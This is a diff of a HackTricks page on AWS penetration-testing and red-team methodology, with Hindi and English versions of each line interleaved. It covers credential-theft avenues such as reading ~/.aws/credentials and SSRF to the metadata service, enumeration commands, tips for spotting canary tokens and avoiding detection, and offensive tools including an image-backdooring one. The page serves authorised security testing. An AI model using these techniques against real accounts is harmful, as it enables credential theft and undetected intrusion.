## AWS Pentester/Red Team Methodology
|
||||
|
||||
AWS वातावरण का ऑडिट करने के लिए यह बहुत महत्वपूर्ण है: कौन सी **सेवाएं उपयोग की जा रही हैं**, क्या **प्रदर्शित किया जा रहा है**, किसके पास **पहुँच** है, और आंतरिक AWS सेवाएं और **बाहरी सेवाएं** कैसे जुड़ी हुई हैं।
|
||||
In order to audit an AWS environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal AWS services an **external services** connected.
|
||||
|
||||
Red Team के दृष्टिकोण से, AWS वातावरण को समझौता करने का **पहला कदम** कुछ **क्रेडेंशियल्स** प्राप्त करना है। यहां कुछ विचार दिए गए हैं कि आप ऐसा कैसे कर सकते हैं:
|
||||
From a Red Team point of view, the **first step to compromise an AWS environment** is to manage to obtain some **credentials**. Here you have some ideas on how to do that:
|
||||
|
||||
- github (या समान) में **लीक** - OSINT
|
||||
- **सामाजिक** इंजीनियरिंग
|
||||
- **पासवर्ड** पुन: उपयोग (पासवर्ड लीक)
|
||||
- AWS-होस्टेड अनुप्रयोगों में कमजोरियां
|
||||
- [**सर्वर साइड अनुरोध धोखाधड़ी**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) जिसमें मेटाडेटा एंडपॉइंट तक पहुंच है
|
||||
- **स्थानीय फ़ाइल पढ़ें**
|
||||
- `/home/USERNAME/.aws/credentials`
|
||||
- `C:\Users\USERNAME\.aws\credentials`
|
||||
- 3rd पार्टियों के **भंग**
|
||||
- **आंतरिक** कर्मचारी
|
||||
- [**Cognito** ](aws-services/aws-cognito-enum/index.html#cognito)क्रेडेंशियल्स
|
||||
- **Leaks** in github (or similar) - OSINT
|
||||
- **Social** Engineering
|
||||
- **Password** reuse (password leaks)
|
||||
- Vulnerabilities in AWS-Hosted Applications
|
||||
- [**Server Side Request Forgery**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) with access to metadata endpoint
|
||||
- **Local File Read**
|
||||
- `/home/USERNAME/.aws/credentials`
|
||||
- `C:\Users\USERNAME\.aws\credentials`
|
||||
- 3rd parties **breached**
|
||||
- **Internal** Employee
|
||||
- [**Cognito** ](aws-services/aws-cognito-enum/index.html#cognito)credentials
|
||||
|
||||
या **अप्रमाणित सेवा** को समझौता करके जो प्रदर्शित है:
|
||||
Or by **compromising an unauthenticated service** exposed:
|
||||
|
||||
{{#ref}}
|
||||
aws-unauthenticated-enum-access/
|
||||
{{#endref}}
|
||||
|
||||
या यदि आप एक **समीक्षा** कर रहे हैं तो आप बस इन भूमिकाओं के साथ **क्रेडेंशियल्स** के लिए **पूछ सकते हैं**:
|
||||
Or if you are doing a **review** you could just **ask for credentials** with these roles:
|
||||
|
||||
{{#ref}}
|
||||
aws-permissions-for-a-pentest.md
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> एक बार जब आप क्रेडेंशियल्स प्राप्त करने में सफल हो जाते हैं, तो आपको यह जानने की आवश्यकता है कि **ये क्रेडेंशियल्स किसके हैं**, और **इनके पास क्या पहुंच है**, इसलिए आपको कुछ बुनियादी गणना करने की आवश्यकता है:
|
||||
> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration:
|
||||
|
||||
## Basic Enumeration
|
||||
|
||||
### SSRF
|
||||
|
||||
यदि आपने AWS के अंदर एक मशीन में SSRF पाया है, तो ट्रिक्स के लिए इस पृष्ठ की जांच करें:
|
||||
If you found a SSRF in a machine inside AWS check this page for tricks:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
@@ -72,7 +72,8 @@ https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/
|
||||
|
||||
### Whoami
|
||||
|
||||
आपको जानने की पहली चीजों में से एक यह है कि आप कौन हैं (आप किस खाते में हैं और AWS वातावरण के बारे में अन्य जानकारी):
|
||||
One of the first things you need to know is who you are (in where account you are in other info about the AWS env):
|
||||
|
||||
```bash
|
||||
# Easiest way, but might be monitored?
|
||||
aws sts get-caller-identity
|
||||
@@ -88,9 +89,10 @@ aws sns publish --topic-arn arn:aws:sns:us-east-1:*account id*:aaa --message aaa
|
||||
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
|
||||
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> ध्यान दें कि कंपनियां **canary tokens** का उपयोग कर सकती हैं यह पहचानने के लिए कि **tokens चुराए जा रहे हैं और उपयोग किए जा रहे हैं**। इसका सुझाव दिया जाता है कि उपयोग करने से पहले यह जांचें कि क्या एक token एक canary token है या नहीं।\
|
||||
> अधिक जानकारी के लिए [**इस पृष्ठ की जांच करें**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
|
||||
> Note that companies might use **canary tokens** to identify when **tokens are being stolen and used**. It's recommended to check if a token is a canary token or not before using it.\
|
||||
> For more info [**check this page**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
|
||||
|
||||
### Org Enumeration
|
||||
|
||||
@@ -100,30 +102,30 @@ aws-services/aws-organizations-enum.md
|
||||
|
||||
### IAM Enumeration
|
||||
|
||||
यदि आपके पास पर्याप्त अनुमतियाँ हैं तो **AWS खाते के अंदर प्रत्येक इकाई के विशेषाधिकारों की जांच करना** आपको यह समझने में मदद करेगा कि आप और अन्य पहचान क्या कर सकते हैं और कैसे **विशेषाधिकार बढ़ा सकते हैं**।
|
||||
If you have enough permissions **checking the privileges of each entity inside the AWS account** will help you understand what you and other identities can do and how to **escalate privileges**.
|
||||
|
||||
यदि आपके पास IAM को सूचीबद्ध करने के लिए पर्याप्त अनुमतियाँ नहीं हैं, तो आप **उन्हें चुराने के लिए ब्रूटफोर्स कर सकते हैं**।\
|
||||
**सूचीकरण और ब्रूट-फोर्सिंग कैसे करें** की जांच करें:
|
||||
If you don't have enough permissions to enumerate IAM, you can **steal bruteforce them** to figure them out.\
|
||||
Check **how to do the numeration and brute-forcing** in:
|
||||
|
||||
{{#ref}}
|
||||
aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> अब जब आपके पास **अपने क्रेडेंशियल्स के बारे में कुछ जानकारी है** (और यदि आप एक रेड टीम हैं तो उम्मीद है कि आप **पता नहीं चले हैं**)। यह पता लगाने का समय है कि वातावरण में कौन सी सेवाएँ उपयोग की जा रही हैं।\
|
||||
> निम्नलिखित अनुभाग में आप **कुछ सामान्य सेवाओं को सूचीबद्ध करने के कुछ तरीके** देख सकते हैं।
|
||||
> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\
|
||||
> In the following section you can check some ways to **enumerate some common services.**
|
||||
|
||||
## Services Enumeration, Post-Exploitation & Persistence
|
||||
|
||||
AWS के पास सेवाओं की एक आश्चर्यजनक मात्रा है, निम्नलिखित पृष्ठ पर आपको **बुनियादी जानकारी, सूचीकरण** चीटशीट\*\*,\*\* **पता लगाने से बचने** के तरीके, **स्थायीता** प्राप्त करने और उनमें से कुछ के बारे में अन्य **पोस्ट-एक्सप्लॉइटेशन** ट्रिक्स मिलेंगी:
|
||||
AWS has an astonishing amount of services, in the following page you will find **basic information, enumeration** cheatsheets\*\*,\*\* how to **avoid detection**, obtain **persistence**, and other **post-exploitation** tricks about some of them:
|
||||
|
||||
{{#ref}}
|
||||
aws-services/
|
||||
{{#endref}}
|
||||
|
||||
ध्यान दें कि आपको सभी कार्य **हाथ से** करने की आवश्यकता **नहीं** है, नीचे इस पोस्ट में आप [**स्वचालित उपकरणों**](#automated-tools) के बारे में एक **अनुभाग** पा सकते हैं।
|
||||
Note that you **don't** need to perform all the work **manually**, below in this post you can find a **section about** [**automatic tools**](#automated-tools).
|
||||
|
||||
इसके अलावा, इस चरण में आप **असत्यापित उपयोगकर्ताओं के लिए अधिक सेवाएँ उजागर** कर सकते हैं, आप उन्हें शोषण करने में सक्षम हो सकते हैं:
|
||||
Moreover, in this stage you might discovered **more services exposed to unauthenticated users,** you might be able to exploit them:
|
||||
|
||||
{{#ref}}
|
||||
aws-unauthenticated-enum-access/
|
||||
@@ -131,7 +133,7 @@ aws-unauthenticated-enum-access/
|
||||
|
||||
## Privilege Escalation
|
||||
|
||||
यदि आप विभिन्न संसाधनों पर **कम से कम अपनी अनुमतियों की जांच कर सकते हैं** तो आप **जांच सकते हैं कि क्या आप आगे की अनुमतियाँ प्राप्त कर सकते हैं**। आपको कम से कम उन अनुमतियों पर ध्यान केंद्रित करना चाहिए जो:
|
||||
If you can **check at least your own permissions** over different resources you could **check if you are able to obtain further permissions**. You should focus at least in the permissions indicated in:
|
||||
|
||||
{{#ref}}
|
||||
aws-privilege-escalation/
|
||||
@@ -139,10 +141,10 @@ aws-privilege-escalation/
|
||||
|
||||
## Publicly Exposed Services
|
||||
|
||||
जब आप AWS सेवाओं को सूचीबद्ध कर रहे थे, तो आप उनमें से कुछ को **इंटरनेट पर तत्वों को उजागर करते हुए** पा सकते हैं (VM/Containers पोर्ट, डेटाबेस या कतार सेवाएँ, स्नैपशॉट या बाल्टियाँ...)।\
|
||||
एक pentester/red teamer के रूप में आपको हमेशा यह जांचना चाहिए कि क्या आप उनमें **संवेदनशील जानकारी / कमजोरियों** को खोज सकते हैं क्योंकि वे आपको **AWS खाते में आगे की पहुँच** प्रदान कर सकते हैं।
|
||||
While enumerating AWS services you might have found some of them **exposing elements to the Internet** (VM/Containers ports, databases or queue services, snapshots or buckets...).\
|
||||
As pentester/red teamer you should always check if you can find **sensitive information / vulnerabilities** on them as they might provide you **further access into the AWS account**.
|
||||
|
||||
इस पुस्तक में आपको **जानकारी** मिलनी चाहिए कि **कैसे उजागर AWS सेवाओं को खोजें और उन्हें कैसे जांचें**। उजागर नेटवर्क सेवाओं में **कमजोरियों** को खोजने के लिए मैं आपको **विशिष्ट सेवा** के लिए **खोजने** की सिफारिश करूंगा:
|
||||
In this book you should find **information** about how to find **exposed AWS services and how to check them**. About how to find **vulnerabilities in exposed network services** I would recommend you to **search** for the specific **service** in:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/
|
||||
@@ -152,49 +154,52 @@ https://book.hacktricks.wiki/
|
||||
|
||||
### From the root/management account
|
||||
|
||||
जब प्रबंधन खाता संगठन में नए खातों का निर्माण करता है, तो एक **नया भूमिका** नए खाते में बनाया जाता है, जिसे डिफ़ॉल्ट रूप से **`OrganizationAccountAccessRole`** कहा जाता है और **प्रबंधन खाते** को नए खाते तक पहुँचने के लिए **AdministratorAccess** नीति दी जाती है।
|
||||
When the management account creates new accounts in the organization, a **new role** is created in the new account, by default named **`OrganizationAccountAccessRole`** and giving **AdministratorAccess** policy to the **management account** to access the new account.
|
||||
|
||||
<figure><img src="../../images/image (171).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
तो, एक बच्चे के खाते के रूप में व्यवस्थापक के रूप में पहुँचने के लिए आपको चाहिए:
|
||||
So, in order to access as administrator a child account you need:
|
||||
|
||||
- **प्रबंधन** खाते को **समझौता** करें और **बच्चे के खातों** के **ID** और **भूमिकाओं** के **नाम** (डिफ़ॉल्ट रूप से OrganizationAccountAccessRole) को खोजें जो प्रबंधन खाते को व्यवस्थापक के रूप में पहुँचने की अनुमति देते हैं।
|
||||
- बच्चे के खातों को खोजने के लिए AWS कंसोल में संगठनों के अनुभाग पर जाएँ या `aws organizations list-accounts` चलाएँ।
|
||||
- आप भूमिकाओं के नाम सीधे नहीं खोज सकते, इसलिए सभी कस्टम IAM नीतियों की जांच करें और किसी भी नीति को खोजें जो **`sts:AssumeRole` को पहले से खोजे गए बच्चे के खातों पर अनुमति देती है**।
|
||||
- **प्रबंधन खाते में एक **principal** को **`sts:AssumeRole` अनुमति के साथ बच्चे के खातों में भूमिका पर समझौता करें** (भले ही खाता प्रबंधन खाते से किसी को भी अनुकरण करने की अनुमति दे रहा हो, क्योंकि यह एक बाहरी खाता है, विशिष्ट `sts:AssumeRole` अनुमतियाँ आवश्यक हैं)।
|
||||
- **Compromise** the **management** account and find the **ID** of the **children accounts** and the **names** of the **role** (OrganizationAccountAccessRole by default) allowing the management account to access as admin.
|
||||
- To find children accounts go to the organizations section in the aws console or run `aws organizations list-accounts`
|
||||
- You cannot find the name of the roles directly, so check all the custom IAM policies and search any allowing **`sts:AssumeRole` over the previously discovered children accounts**.
|
||||
- **Compromise** a **principal** in the management account with **`sts:AssumeRole` permission over the role in the children accounts** (even if the account is allowing anyone from the management account to impersonate, as its an external account, specific `sts:AssumeRole` permissions are necessary).
|
||||
|
||||
## Automated Tools
|
||||
|
||||
### Recon
|
||||
|
||||
- [**aws-recon**](https://github.com/darkbitio/aws-recon): एक मल्टी-थ्रेडेड AWS सुरक्षा-केंद्रित **इन्वेंटरी संग्रह उपकरण** जो Ruby में लिखा गया है।
|
||||
- [**aws-recon**](https://github.com/darkbitio/aws-recon): A multi-threaded AWS security-focused **inventory collection tool** written in Ruby.
|
||||
|
||||
```bash
|
||||
# Install
|
||||
gem install aws_recon
|
||||
|
||||
# Recon and get json
|
||||
AWS_PROFILE=<profile> aws_recon \
|
||||
--services S3,EC2 \
|
||||
--regions global,us-east-1,us-east-2 \
|
||||
--verbose
|
||||
--services S3,EC2 \
|
||||
--regions global,us-east-1,us-east-2 \
|
||||
--verbose
|
||||
```
|
||||
- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist एक **मल्टी-क्लाउड टूल है जो क्लाउड प्रदाताओं से एसेट्स** (होस्टनेम, आईपी पते) प्राप्त करने के लिए है।
|
||||
- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper आपको आपके Amazon Web Services (AWS) वातावरण का विश्लेषण करने में मदद करता है। इसमें अब सुरक्षा मुद्दों के लिए ऑडिटिंग सहित बहुत अधिक कार्यक्षमता है।
|
||||
|
||||
- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist is a **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers.
|
||||
- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper helps you analyze your Amazon Web Services (AWS) environments. It now contains much more functionality, including auditing for security issues.
|
||||
|
||||
```bash
|
||||
# Installation steps in github
|
||||
# Create a config.json file with the aws info, like:
|
||||
{
|
||||
"accounts": [
|
||||
{
|
||||
"default": true,
|
||||
"id": "<account id>",
|
||||
"name": "dev"
|
||||
}
|
||||
],
|
||||
"cidrs":
|
||||
{
|
||||
"2.2.2.2/28": {"name": "NY Office"}
|
||||
}
|
||||
"accounts": [
|
||||
{
|
||||
"default": true,
|
||||
"id": "<account id>",
|
||||
"name": "dev"
|
||||
}
|
||||
],
|
||||
"cidrs":
|
||||
{
|
||||
"2.2.2.2/28": {"name": "NY Office"}
|
||||
}
|
||||
}
|
||||
|
||||
# Enumerate
|
||||
@@ -224,7 +229,9 @@ python3 cloudmapper.py public --accounts dev
|
||||
python cloudmapper.py prepare #Prepare webserver
|
||||
python cloudmapper.py webserver #Show webserver
|
||||
```
|
||||
- [**cartography**](https://github.com/lyft/cartography): Cartography एक Python उपकरण है जो बुनियादी ढांचे के संपत्तियों और उनके बीच के संबंधों को एक सहज ग्राफ दृश्य में समेकित करता है, जो Neo4j डेटाबेस द्वारा संचालित है।
|
||||
|
||||
- [**cartography**](https://github.com/lyft/cartography): Cartography is a Python tool that consolidates infrastructure assets and the relationships between them in an intuitive graph view powered by a Neo4j database.
|
||||
|
||||
```bash
|
||||
# Install
|
||||
pip install cartography
|
||||
@@ -233,15 +240,17 @@ pip install cartography
|
||||
# Get AWS info
|
||||
AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j
|
||||
```
|
||||
- [**starbase**](https://github.com/JupiterOne/starbase): Starbase सेवाओं और सिस्टमों से संपत्तियों और संबंधों को एकत्र करता है, जिसमें क्लाउड अवसंरचना, SaaS अनुप्रयोग, सुरक्षा नियंत्रण और अधिक शामिल हैं, जो Neo4j डेटाबेस द्वारा समर्थित एक सहज ग्राफ दृश्य में है।
|
||||
- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (python2 का उपयोग करता है) यह एक उपकरण है जो एक खाते में बनाए गए सभी [**AWS संसाधनों**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) को **खोजने** की कोशिश करता है।
|
||||
- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): यह एक उपकरण है जो एक AWS खाते से जुड़े सभी सार्वजनिक IP पते (IPv4/IPv6 दोनों) को **लाने** के लिए है।
|
||||
|
||||
- [**starbase**](https://github.com/JupiterOne/starbase): Starbase collects assets and relationships from services and systems including cloud infrastructure, SaaS applications, security controls, and more into an intuitive graph view backed by the Neo4j database.
|
||||
- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Uses python2) This is a tool that tries to **discover all** [**AWS resources**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) created in an account.
|
||||
- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): It's a tool to **fetch all public IP addresses** (both IPv4/IPv6) associated with an AWS account.
|
||||
|
||||
### Privesc & Exploiting
|
||||
|
||||
- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** स्कैन किए गए AWS वातावरण में सबसे विशेषाधिकार प्राप्त उपयोगकर्ताओं का पता लगाएं, जिसमें AWS Shadow Admins शामिल हैं। यह powershell का उपयोग करता है। आप [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1) में **`Check-PrivilegedPolicy`** फ़ंक्शन में **विशेषाधिकार प्राप्त नीतियों** की परिभाषा पा सकते हैं।
|
||||
- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu एक ओपन-सोर्स **AWS शोषण ढांचा** है, जिसे क्लाउड वातावरण के खिलाफ आक्रामक सुरक्षा परीक्षण के लिए डिज़ाइन किया गया है। यह **enumerate** कर सकता है, **miss-configurations** खोज सकता है और उन्हें **exploit** कर सकता है। आप **`user_escalation_methods`** dict के अंदर [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) में **विशेषाधिकार प्राप्त अनुमतियों** की परिभाषा पा सकते हैं।
|
||||
- ध्यान दें कि pacu **केवल आपके अपने privescs पथों** की जांच करता है (खाते के स्तर पर नहीं)।
|
||||
- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Discover the most privileged users in the scanned AWS environment, including the AWS Shadow Admins. It uses powershell. You can find the **definition of privileged policies** in the function **`Check-PrivilegedPolicy`** in [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
|
||||
- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu is an open-source **AWS exploitation framework**, designed for offensive security testing against cloud environments. It can **enumerate**, find **miss-configurations** and **exploit** them. You can find the **definition of privileged permissions** in [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) inside the **`user_escalation_methods`** dict.
|
||||
- Note that pacu **only checks your own privescs paths** (not account wide).
|
||||
|
||||
```bash
|
||||
# Install
|
||||
## Feel free to use venvs
|
||||
@@ -255,7 +264,9 @@ pacu
|
||||
> exec iam__enum_permissions # Get permissions
|
||||
> exec iam__privesc_scan # List privileged permissions
|
||||
```
|
||||
- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) एक स्क्रिप्ट और लाइब्रेरी है जो AWS खाते या AWS संगठन के लिए AWS पहचान और पहुंच प्रबंधन (IAM) की कॉन्फ़िगरेशन में जोखिमों की पहचान करने के लिए है। यह एक खाते में विभिन्न IAM उपयोगकर्ताओं और भूमिकाओं को एक निर्देशित ग्राफ के रूप में मॉडल करता है, जो **privilege escalation** के लिए और एक हमलावर द्वारा संसाधन या क्रिया तक पहुंच प्राप्त करने के लिए वैकल्पिक पथों की जांच करने की अनुमति देता है। आप **privesc** पथों को खोजने के लिए उपयोग की जाने वाली **permissions** को `_edges.py` में समाप्त होने वाले फ़ाइल नामों में देख सकते हैं [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
|
||||
|
||||
- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) is a script and library for identifying risks in the configuration of AWS Identity and Access Management (IAM) for an AWS account or an AWS organization. It models the different IAM Users and Roles in an account as a directed graph, which enables checks for **privilege escalation** and for alternate paths an attacker could take to gain access to a resource or action in AWS. You can check the **permissions used to find privesc** paths in the filenames ended in `_edges.py` in [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
|
||||
|
||||
```bash
|
||||
# Install
|
||||
pip install principalmapper
|
||||
@@ -277,8 +288,10 @@ pmapper --profile dev query 'preset privesc *' # Get privescs with admins
|
||||
pmapper --profile dev orgs create
|
||||
pmapper --profile dev orgs display
|
||||
```
|
||||
- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining एक AWS IAM सुरक्षा मूल्यांकन उपकरण है जो न्यूनतम विशेषाधिकार के उल्लंघनों की पहचान करता है और एक जोखिम-प्राथमिकता वाला HTML रिपोर्ट उत्पन्न करता है।\
|
||||
यह आपको संभावित रूप से **over privileged** ग्राहक, inline और aws **policies** दिखाएगा और कौन से **principals को उन तक पहुंच है**। (यह न केवल privesc के लिए जांच करता है बल्कि अन्य प्रकार की दिलचस्प अनुमतियों के लिए भी, उपयोग करने की सिफारिश की जाती है)।
|
||||
|
||||
- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining is an AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized HTML report.\
|
||||
It will show you potentially **over privileged** customer, inline and aws **policies** and which **principals has access to them**. (It not only checks for privesc but also other kind of interesting permissions, recommended to use).
|
||||
|
||||
```bash
|
||||
# Install
|
||||
pip install cloudsplaining
|
||||
@@ -290,20 +303,24 @@ cloudsplaining download --profile dev
|
||||
# Analyze the IAM policies
|
||||
cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/
|
||||
```
|
||||
- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack AWS खातों का मूल्यांकन करता है **सबडोमेन हाइजैकिंग कमजोरियों** के लिए, जो कि Route53 और CloudFront कॉन्फ़िगरेशन के अलग होने के परिणामस्वरूप होता है।
|
||||
- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): ECR रिपोजिटरी की सूची -> ECR रिपोजिटरी को खींचें -> इसे बैकडोर करें -> बैकडोर की गई छवि को पुश करें
|
||||
- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag एक उपकरण है जो **सार्वजनिक Elastic Block Storage (EBS) स्नैपशॉट्स** में रहस्यों के लिए **खोजता** है जो शायद गलती से छोड़ दिए गए हों।
|
||||
|
||||
### ऑडिट
|
||||
- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack assesses AWS accounts for **subdomain hijacking vulnerabilities** as a result of decoupled Route53 and CloudFront configurations.
|
||||
- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): List ECR repos -> Pull ECR repo -> Backdoor it -> Push backdoored image
|
||||
- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag is a tool that **searches** through public Elastic Block Storage (**EBS) snapshots for secrets** that may have been accidentally left in.
|
||||
|
||||
### Audit
|
||||
|
||||
- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit by Aqua is an open-source project designed to allow detection of **security risks in cloud infrastructure** accounts, including: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), and GitHub (It doesn't look for ShadowAdmins).
|
||||
|
||||
- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** Aqua द्वारा CloudSploit एक ओपन-सोर्स प्रोजेक्ट है जिसे **क्लाउड इन्फ्रास्ट्रक्चर** खातों में **सुरक्षा जोखिमों** का पता लगाने के लिए डिज़ाइन किया गया है, जिसमें शामिल हैं: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), और GitHub (यह ShadowAdmins की तलाश नहीं करता)।
|
||||
```bash
|
||||
./index.js --csv=file.csv --console=table --config ./config.js
|
||||
|
||||
# Compiance options: --compliance {hipaa,cis,cis1,cis2,pci}
|
||||
## use "cis" for cis level 1 and 2
|
||||
```
|
||||
- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler एक ओपन सोर्स सुरक्षा उपकरण है जो AWS सुरक्षा सर्वोत्तम प्रथाओं का आकलन, ऑडिट, घटना प्रतिक्रिया, निरंतर निगरानी, हार्डनिंग और फॉरेंसिक्स तैयारी करने के लिए उपयोग किया जाता है।
|
||||
|
||||
- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler is an Open Source security tool to perform AWS security best practices assessments, audits, incident response, continuous monitoring, hardening and forensics readiness.
|
||||
|
||||
```bash
|
||||
# Install python3, jq and git
|
||||
# Install
|
||||
@@ -314,11 +331,15 @@ prowler -v
|
||||
prowler <provider>
|
||||
prowler aws --profile custom-profile [-M csv json json-asff html]
|
||||
```
|
||||
- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox आपको अपरिचित क्लाउड वातावरण में स्थिति की जागरूकता प्राप्त करने में मदद करता है। यह एक ओपन सोर्स कमांड लाइन टूल है जिसे पेनिट्रेशन टेस्टर्स और अन्य आक्रामक सुरक्षा पेशेवरों को क्लाउड इन्फ्रास्ट्रक्चर में शोषण योग्य हमले के रास्ते खोजने में मदद करने के लिए बनाया गया है।
|
||||
|
||||
- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox helps you gain situational awareness in unfamiliar cloud environments. It’s an open source command line tool created to help penetration testers and other offensive security professionals find exploitable attack paths in cloud infrastructure.
|
||||
|
||||
```bash
|
||||
cloudfox aws --profile [profile-name] all-checks
|
||||
```
|
||||
- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite एक ओपन सोर्स मल्टी-क्लाउड सुरक्षा-ऑडिटिंग टूल है, जो क्लाउड वातावरण की सुरक्षा स्थिति का आकलन करने में सक्षम बनाता है।
|
||||
|
||||
- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite is an open source multi-cloud security-auditing tool, which enables security posture assessment of cloud environments.
|
||||
|
||||
```bash
|
||||
# Install
|
||||
virtualenv -p python3 venv
|
||||
@@ -329,16 +350,18 @@ scout --help
|
||||
# Get info
|
||||
scout aws -p dev
|
||||
```
|
||||
- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): क्लाउड सुरक्षा सूट (python2.7 का उपयोग करता है और अप्रबंधित लगता है)
|
||||
- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus AWS EC2 / S3 / CloudTrail / CloudWatch / KMS के लिए शक्तिशाली उपकरण है जो सर्वोत्तम हार्डनिंग प्रथाओं के लिए है (अप्रबंधित लगता है)। यह केवल सिस्टम के अंदर डिफ़ॉल्ट कॉन्फ़िगर किए गए क्रेड्स की जांच करता है।
|
||||
|
||||
### निरंतर ऑडिट
|
||||
- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (uses python2.7 and looks unmaintained)
|
||||
- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus is a powerful tool for AWS EC2 / S3 / CloudTrail / CloudWatch / KMS best hardening practices (looks unmaintained). It checks only default configured creds inside the system.
|
||||
|
||||
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian सार्वजनिक क्लाउड खातों और संसाधनों का प्रबंधन करने के लिए एक नियम इंजन है। यह उपयोगकर्ताओं को **एक अच्छी तरह से प्रबंधित क्लाउड अवसंरचना सक्षम करने के लिए नीतियों को परिभाषित करने** की अनुमति देता है, जो सुरक्षित और लागत अनुकूलित दोनों है। यह संगठनों के पास मौजूद कई अस्थायी स्क्रिप्टों को एक हल्के और लचीले उपकरण में समेकित करता है, जिसमें एकीकृत मैट्रिक्स और रिपोर्टिंग होती है।
|
||||
- [**pacbot**](https://github.com/tmobile/pacbot)**: नीति के रूप में कोड बॉट (PacBot)** एक प्लेटफ़ॉर्म है **निरंतर अनुपालन निगरानी, अनुपालन रिपोर्टिंग और क्लाउड के लिए सुरक्षा स्वचालन**। PacBot में, सुरक्षा और अनुपालन नीतियाँ कोड के रूप में लागू की जाती हैं। PacBot द्वारा खोजे गए सभी संसाधनों का मूल्यांकन इन नीतियों के खिलाफ किया जाता है ताकि नीति के अनुपालन का आकलन किया जा सके। PacBot का **ऑटो-फिक्स** ढांचा नीति उल्लंघनों का स्वतः उत्तर देने की क्षमता प्रदान करता है, पूर्व निर्धारित क्रियाओं को अपनाकर।
|
||||
